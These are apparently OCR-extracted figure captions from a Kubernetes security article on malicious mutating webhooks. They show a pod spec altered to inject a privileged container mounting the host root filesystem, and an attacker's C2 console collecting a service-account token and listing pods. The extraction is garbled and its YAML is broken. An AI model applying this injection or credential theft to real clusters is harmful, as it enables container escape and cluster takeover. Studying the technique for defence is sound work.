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Original Pod Spec.

spec:
containers:

- name: nginx-container
Image: nginx
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> Mutated Pod Spec.

initContainers:
image: malicious-sideca
securityContexts:
privileged: true
volumeMounts:
- name: rootfs
mountPath: “/host”

volumes:

- name: rootfs
hostPath:

 Injected Sidecar
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root@attacker:~# docker run —it -p 9090:9090 —name=c2-server c2-server:latest
INFO: C2 agent connected [Agent Addr: 117.16.x.x:59064] G

Enter command: get-pods
INFO: Failed authorization. Collect credentials first.

Enter command: collect-credentials
INFO: Response from C2 Agent
eyJhbGciOiJSUzI1NilsimtpZCl6llZubGtFaVNyczJkMEZrTE13LWEzUTByaXl...

Enter command: get-pods
INFO: Response from C2 Agent
NAMESPACE NAME

default web-server

SAX= C2 AgentS

Configur{ation

Workload

Attacker
(C2 Server)
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@ Deploy

Mutated Pod Pod
>
| Pod Workload
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Malicious
Mutating Webhook

@ Attach

|

Master Node
Kubernetes Resources

Control Cluster

@Collect Credentials

@Transmit Command
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